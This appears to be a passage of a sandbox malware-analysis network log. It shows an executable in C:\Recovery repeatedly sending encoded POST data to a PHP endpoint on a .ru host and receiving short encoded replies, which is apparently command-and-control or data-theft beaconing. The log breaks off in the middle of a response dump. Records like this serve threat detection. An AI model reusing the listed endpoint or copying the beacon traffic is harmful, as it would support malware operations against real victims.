Dec 21, 2024 11:07:49.249229908 CET	279	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2280 Expect: 100-continue
Dec 21, 2024 11:07:49.603387117 CET	2280	OUT	Data Raw: 5c 5b 43 5a 5a 59 50 59 54 5d 59 5a 55 58 57 56 56 5c 5c 5d 52 5f 5b 5b 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: \[CZZYPYT]YZUXWVV\\]R_[[YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!*>>_??,?+-[$(.>9?_+.Q+3 +8(^#8'='[$.Y!3
Dec 21, 2024 11:07:50.335457087 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:07:50.580302000 CET	806	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:07:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9fRdAyU5yhCZ0cv5Jf1DQbNJcz2Or3AdWK7HN3fiisbTQ0XNog0XTKY7Uv7MtZZTqX9sjkr32ECyLa6CyBVUQtKH3MvfH8GkFgX%2BVNAsWpc2spDVMc0%2FRZMOu39lqFQFzpNp9QwpR48%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5711429b167295-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=3340&min_rtt=1957&rtt_var=3501&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2559&delivery_rate=112066&cwnd=205&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49758	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:07:50.817145109 CET	279	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue
Dec 21, 2024 11:07:51.165973902 CET	2292	OUT	Data Raw: 59 5a 43 53 5a 5d 50 5e 54 5d 59 5a 55 5e 57 53 56 50 5c 58 52 5f 5b 5f 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YZCSZ]P^T]YZU^WSVP\XR_[_YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!+.>_?Z0S+.,??1%&)\3[(X!(#,Q(+!<&-'[$.Y!;
Dec 21, 2024 11:07:51.907506943 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:07:52.142950058 CET	815	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:07:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D2X%2FiVehzDgv%2B%2BUu3U%2B0pbSGYyAQ4D%2BoO8LWAJ7pxf7wwHu1lOKlHGd7gfF%2B3E69ONqfzkemblPKc0FG04Piu6snJQFUJnQlnA5sEG1w%2B0nMqDqcCvjBAPIsMo3zzJ6kcWQH9klPFW4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f57114c6b844411-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=3871&min_rtt=1703&rtt_var=4975&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2571&delivery_rate=76640&cwnd=234&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49759	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:07:52.375047922 CET	279	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue
Dec 21, 2024 11:07:52.728542089 CET	2292	OUT	Data Raw: 59 59 43 52 5a 59 55 59 54 5d 59 5a 55 5a 57 53 56 5a 5c 58 52 52 5b 5e 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YYCRZYUYT]YZUZWSVZ\XRR[^YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!A>.._>?0>=;@)/=1;)=:+-9Q?#(?;<^"(3T'='[$.Y!+
Dec 21, 2024 11:07:53.461100101 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:07:53.705221891 CET	806	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:07:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TDtygA0KdvaASAkmm7AO3j%2FWR53SprSKe7cQ6fkTjgk7kK7MJkO4O9ZLXz5ycRulsihJaNYL5XBi9DtSVg%2FSj7UrL8ztlQO8BruUmSZ0ssAYkmZmZDz8tAs4NdYNIzidNwK3ERMnXpw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5711562ad6c356-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=6897&min_rtt=1701&rtt_var=11031&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2571&delivery_rate=33738&cwnd=152&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49760	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:07:53.937388897 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:07:54.290924072 CET	2292	OUT	Data Raw: 59 58 46 5f 5f 5a 50 5e 54 5d 59 5a 55 5b 57 5e 56 5c 5c 5f 52 52 5b 57 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YXF__ZP^T]YZU[W^V\\_RR[WYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!=1<<R<+<=]$8!U*(U?+8X5^72-'[$.Y!/
Dec 21, 2024 11:07:55.022525072 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:07:55.269313097 CET	810	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:07:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XkWVKsW9%2B4ScY3vuaj8hbkClQgJHz098czSYk5Rji1L76cbD0EA8IZecN34yN42GLzJBi%2B759OEZYaPzUL%2B5QAcRx%2BNWQbnXlSknPVXI7mPB7XI62iZqgiA8fAtCeZBBlY0b3kUpNSA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f57115fee8143d7-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=3014&min_rtt=1595&rtt_var=3437&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=112723&cwnd=207&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49761	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:07:55.518980026 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:07:55.869184971 CET	2292	OUT	Data Raw: 5c 58 46 5e 5a 5d 55 58 54 5d 59 5a 55 5c 57 57 56 5c 5c 5b 52 5e 5b 5e 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: \XF^Z]UXT]YZU\WWV\\[R^[^YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!@>->< <0(118%U)*[+V?++7"+<2'[$.Y!3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49762	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:07:56.303594112 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 1732 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:07:56.650331020 CET	1732	OUT	Data Raw: 59 5a 43 5b 5a 5c 50 53 54 5d 59 5a 55 5b 57 5e 56 58 5c 54 52 55 5b 57 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YZC[Z\PST]YZU[W^VX\TRU[WYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!)[.Y<?/<>D)/=Y&&>;Z?>!T( 3((+!;#1'[$.Y!/
Dec 21, 2024 11:07:57.389664888 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:07:57.626220942 CET	958	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:07:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5Hjlik0NKTVOQ8uTsJaWzQkGVE0aQw%2FdJKFZveMnyWOtCgx337xrwbYp0YflV1XBgh3YTbLmpcBVdP9BiFfZnmoF8hJyDRdpk3%2B%2BUTjs8Xd%2BA8xDksxycoyALjE8nIPTTnOaWCBfRl0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f57116eae344346-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=4813&min_rtt=2338&rtt_var=5827&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2035&delivery_rate=65941&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0f 13 39 10 30 38 3a 5b 3e 3a 3b 5a 28 3c 21 1c 28 2f 36 5c 3b 21 2d 17 33 33 3c 5a 38 3f 3a 0d 3e 20 32 07 2b 13 2f 0f 28 37 05 1f 2a 38 2e 58 03 11 24 12 35 3a 02 06 3c 06 07 54 2e 3b 39 5b 37 3d 27 16 2c 38 29 57 32 00 25 0a 22 2a 09 1f 2c 0f 02 57 2d 29 05 58 26 09 0e 0c 24 3e 2e 53 0c 16 21 04 29 3d 3d 1f 25 01 0b 10 25 24 3d 0e 21 36 3c 52 21 06 09 09 27 02 2a 12 27 2d 27 0c 3c 09 29 1c 2b 59 31 1d 28 04 35 56 2b 01 26 55 2e 01 22 53 04 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 98908:[>:;Z(<!(/6\;!-33<Z8?:> 2+/(78.X$5:<T.;9[7=',8)W2%",W-)X&$>.S!)==%%$=!6<R!'*'-'<)+Y1(5V+&U."S=ZP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49763	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:07:56.455538988 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:07:56.806493998 CET	2292	OUT	Data Raw: 59 5d 43 52 5a 5b 50 5c 54 5d 59 5a 55 5c 57 52 56 5b 5c 5f 52 51 5b 59 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: Y]CRZ[P\T]YZU\WRV[\_RQ[YYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!A*-6]<,'>=/D?%2^=P>)0)=:+34U+#(?U1'[$.Y!3
Dec 21, 2024 11:07:57.541794062 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:07:57.777484894 CET	816	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:07:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rZqMPCEjb%2B1fcsJt%2FmSDKyvdQ8jvMQiAhUl0g67jlZepTLo2aGx%2BM3lVWso0KDQ%2FkL9Gt%2BUSLFO8%2BBerc6C8joRSrYJHNptBAjlI6nRZ%2BZI2Xlq9yik3CVyyj4igp8TOtuRxVNqH4Zg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f57116fa92872b6-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=8785&min_rtt=1975&rtt_var=14362&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=25858&cwnd=238&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49764	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:07:58.207902908 CET	279	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue
Dec 21, 2024 11:07:58.556545019 CET	2292	OUT	Data Raw: 59 5b 43 5e 5f 5d 55 5d 54 5d 59 5a 55 51 57 53 56 5b 5c 54 52 5f 5b 59 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: Y[C^_]U]T]YZUQWSV[\TR_[YYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!D>>.](+>(?<=\&-T+9<?=.<3(+];584&'[$.Y!
Dec 21, 2024 11:07:59.289527893 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:07:59.538341045 CET	804	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:07:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wa9BWKBUUceYC0xVFBb%2F476996WqwjScj1QxAthqtgRIw8ZW9uB5IQEoBVPGWebVlIISp3SfL0ezyjJYsbyAPAG7x4XzXUlv0k4vn77LukLU110TBizfSjmVTKJAhHIiMP0sO74mlS0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f57117a89af42c2-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=2863&min_rtt=1611&rtt_var=3108&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2571&delivery_rate=125558&cwnd=239&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49765	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:07:59.784090996 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:00.134748936 CET	2292	OUT	Data Raw: 59 5a 43 5a 5a 56 55 5d 54 5d 59 5a 55 5d 57 50 56 59 5c 5c 52 55 5b 5f 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YZCZZVU]T]YZU]WPVY\\RU[_YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\")->+<W<D+?5]18)9'+--Q+ (P<452'[$.Y!7
Dec 21, 2024 11:08:00.874757051 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:01.111877918 CET	800	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C7N2dl2PxuNY6R4CHfp2lyrwnB9IV%2F62ExWzKctFOUdUi0onfKlKCTwFsPufw4hhGfRRPozEjpFLcjzyBtNHQhmm8IRvhIunOjG%2ByEkgAxVw81L4Bpj1FBzgs7hb7l0HNb6lMQe1Ejs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f57118479050f49-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=3926&min_rtt=1630&rtt_var=5205&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=72981&cwnd=214&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a Data Ascii: 4=[@W
Dec 21, 2024 11:08:01.304081917 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49766	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:01.556159019 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:01.900492907 CET	2292	OUT	Data Raw: 59 59 43 5f 5a 57 50 58 54 5d 59 5a 55 59 57 51 56 5e 5c 5e 52 57 5b 5a 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YYC_ZWPXT]YZUYWQV^\^RW[ZYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!C)<<'(>'E+<X%9=93+*03?8$!^?R2'[$.Y!'
Dec 21, 2024 11:08:02.641051054 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49767	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:02.844492912 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 1732 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:03.197269917 CET	1732	OUT	Data Raw: 59 5e 43 5f 5f 5e 55 5f 54 5d 59 5a 55 59 57 50 56 51 5c 5b 52 50 5b 58 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: Y^C__^U_T]YZUYWPVQ\[RP[XYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\"==>,V(>3E?<1\$(5+:+[?%V+ V(6#W1'[$.Y!'
Dec 21, 2024 11:08:03.929476023 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:04.179440975 CET	967	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pTpCdWgXYodjZMAQXE40gYsAwJW7PM2g%2FD617ydvkgryhrH7pxeik7zXE9zq7z%2BbHuQ9TIcHabGjPlYTA3kbdWttxLclKIU6cXKvae%2F%2FkIYoxRmrK%2F4ALJM7kWE%2FF%2FaZLrX6gB8%2BLOM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f57119789b341b5-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=6920&min_rtt=1661&rtt_var=11141&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2035&delivery_rate=33383&cwnd=206&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0f 13 39 5a 33 05 00 1c 29 2a 3f 12 2b 3c 21 52 2b 02 07 01 2c 22 3d 5f 33 33 33 00 2f 02 2e 0c 3f 55 3d 5a 2b 13 33 0d 3f 24 2b 12 3d 02 2e 58 03 11 27 03 36 03 23 58 29 38 21 52 2d 3b 25 5d 23 13 28 07 2e 16 35 1e 26 10 3e 52 21 14 01 54 2f 32 23 0c 2f 5f 3f 5f 32 37 0d 1d 32 14 2e 53 0c 16 22 59 29 03 39 59 26 06 29 57 24 19 3d 0c 21 35 20 57 22 3b 3c 1a 